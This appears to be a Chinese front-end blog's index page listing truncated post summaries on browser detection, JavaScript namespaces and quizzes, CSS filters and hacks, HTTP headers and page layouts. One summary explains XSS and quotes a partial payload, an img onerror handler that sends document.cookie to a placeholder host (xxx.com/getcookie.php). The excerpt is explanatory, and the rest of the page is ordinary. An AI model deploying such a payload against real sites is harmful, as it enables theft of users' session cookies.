摘要:之所以说浏览器类型检测比较尴尬,是因为有了一个打对台的东东,但是又不可能完全被替代,就是粒度更小的浏览器特性检测。所以现在就成了两者共存的情况,虽然根据特性来判断更为准确,但是浏览器类型往往又是开发者判断的首选,而且较为简单明了。还是和以前一样,站在巨人的肩膀上,利用各个js的框架源码,逐一分析比较一下。注:采用的框架版本:prototype-1.6.1, mootools-1.2.4, jque...
阅读全文
摘要:命名空间作用就不赘述了,大家应该也都很熟悉了。我们先来看看各个框架是如何实现自己的命名空间的,都很有各自的特点,但总得来说大同小异,我们挨个来分析一下。注:采用的框架版本:prototype-1.6.1, mootools-1.2.4, jquery-1.4.2, ext-3.2.0,yui-3.1.0, dojo-1.4.2prototype: 初始化全局对象,一般即window。 发现Prot...
阅读全文
摘要:嗯,不是以旧换新,是希望css滤镜这个旧东东能焕发出新的生命。在新出的css3的一些特性令大家大声叫好时,其实ie下的滤镜早已默默的实现了相似的功能。OK,话不多说,让我们挨个来看一下。界面滤镜: AlphaImageLoader: 语法: filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src=x.png, sizingMeth...
阅读全文
摘要:XSS(Cross Site Script)跨站脚本攻击。是指攻击者向被攻击Web 页面里插入恶意html代码,当用户浏览该页之时,嵌入其中的HTML代码会被执行,从而达到攻击的特殊目的。常见的有:盗取cookie。最简单的比如提交一个图片"<img src="x" onerror="window.open(http://xxx.com/getcookie.php?c='+document....
阅读全文
摘要:适当使用http头信息会给网站带来一些意想不到的好处,现在就让我们一起来看看有哪些常见的http头。http状态: 见HTTP 状态代码。请求头:Accept: 允许哪些媒体类型。Accept-Charset: 允许哪些字符集。Accept-Encoding: 允许哪些编码。Accept-Language: 允许哪些语言。Cache-Control: 缓存策略,如no-cache,详见官方文档。...
阅读全文
摘要:先看具体代码<!DOCTYPE HTML><html><head><meta http-equiv="content-type" content="text/html; charset=utf-8" /><meta http-equiv="cache-control" content="no-cache" /><style>&...
阅读全文
摘要:先来看一段代码function fn() {};Function.prototype.test = 'fn';fn.prototype.test = 'aaa';var fo = new fn();alert(fo.test);相信所有人都知道答案,ok,再来一段:function fn() { return {}; };Function.prototype.test = 'fn';fn.prot...
阅读全文
摘要:之前谈过doctype的问题,被忽视的DOCTYPE,最末说了提倡使用<!DOCTYPE HTML>,最简洁明了且是标准模式。但是最近发现使用这种方式会产生问题,见代码:<!DOCTYPE HTML><html><head><title>test page</title></head><body><...
阅读全文
摘要:这次是14题,比上回的6题看了更闹心,希望不管有没有做对都去思考一下为什么答案是这个,是否真正掌握。quiz个人觉得没有没有完全答对的都要对这个题目回答Oh, No!!!
阅读全文
摘要:天才的可乐罐又出新版本了,还有一些别的令人目眩的效果。http://ajaxian.com/romancortes/ajaxian.htmlhttp://ajaxian.com/romancortes/starry.htmlhttp://ajaxian.com/romancortes/romajaxian.html
阅读全文
摘要:介绍一些工具及工具性网站,用以在前端开发时检测代码或压缩文件。html:http://www.quirksmode.org/compatibility.html,ppk大牛的兼容表。http://validator.w3.org/,著名的w3c标准验证。http://validator.w3.org/checklink,同样来自w3c,用以检查链接的合法性。css:http://www.web60...
阅读全文
摘要:今天看到一段代码,比较有意思,本周就再多加一问。看如下代码: var a = function(t) { return t; } (1 + 2).toString(); alert(a);结果是多少?偷偷看一下答案其实主要问题出在第一行后面没有分号,所以其实是var a = function(t) { return t; }(1 + 2).toString();先建立变量a,然后执行赋值语句...
阅读全文
摘要:书接上回(头痛的layout),这次我们要实现稍复杂一点的。1. 加入头部和尾部:如图所示。 代码如下,也可以试着自己修改一下再看效果:<!DOCTYPE HTML><html><head><meta http-equiv="content-type" content="text/html; charset=utf-8" /><meta ht...
阅读全文
摘要:这个特效太棒了,以致于我压抑不住与大家分享的心情。来自于Román Cortés的Pure CSS Coke Can:
阅读全文
摘要:zaka在twitter发的回答Baranovskiy的So, you think you know JavaScript?,引起广泛的关注。那5道题目我猜测在国内确实能倒下一大片搞js开发的,一直以来感觉牛人不少,但也有为数不少的程序员缺乏脚踏实地的精神,缺乏钻研的精神,希望能让一部分人有所警醒。摘抄原文如下:Quick test for real understanding of JavaSc...
阅读全文
摘要:先看具体代码,在IE下运行试试<!DOCTYPE HTML><html><head></head><body><div id="never_give_up" style="width:100px;border:1px solid"></div></body></html> 运行代码假如你的i...
阅读全文
摘要:网上流传的css hack有一个很大的误区,就是只注重浏览器不同的版本,殊不知,不同的浏览器模式(doctype)下css hack的效果也是不一样的。(不知道不同的系统平台会不会也有影响,目前还没发现。)这也从一个侧面反应了当下社会的共性,浮躁,大家都是网上搜下来就不管,也没有自己真正细致的去检验过。Ok,闲言少叙,经过个人测试,总结如下:标准模式下:只有ie6识别:_property: val...
阅读全文
摘要:head里面的几个标签中,title最为大家熟悉,script和style也是用的很多。base相信也不陌生,要注意的是这个标签不能闭合。link主要用来引入外部css和指定页面图标,如: <linkhref="external.css"rel="stylesheet"type="text/css" /> <linkhref="favicon.ico"rel="shortcut ...
阅读全文
摘要:请列举能区别不同浏览器,不同模式,不同系统的各种css hack,并说明其用途。可参看以讹传讹的css hack,会陆续进行补充修改。
阅读全文
摘要:日前想做几个布局模板,和同事讨论了一下,自己商定了一些需求。1.第一个,做一个如图所示的布局:要求内容小于窗口的时候,背景能延伸整个页面,内容大于窗口的时候,背景能自动延展。代码如下,也可以试着自己修改一下再看效果:<!DOCTYPE HTML> <html><head><meta http-equiv="content-type" content="te...
阅读全文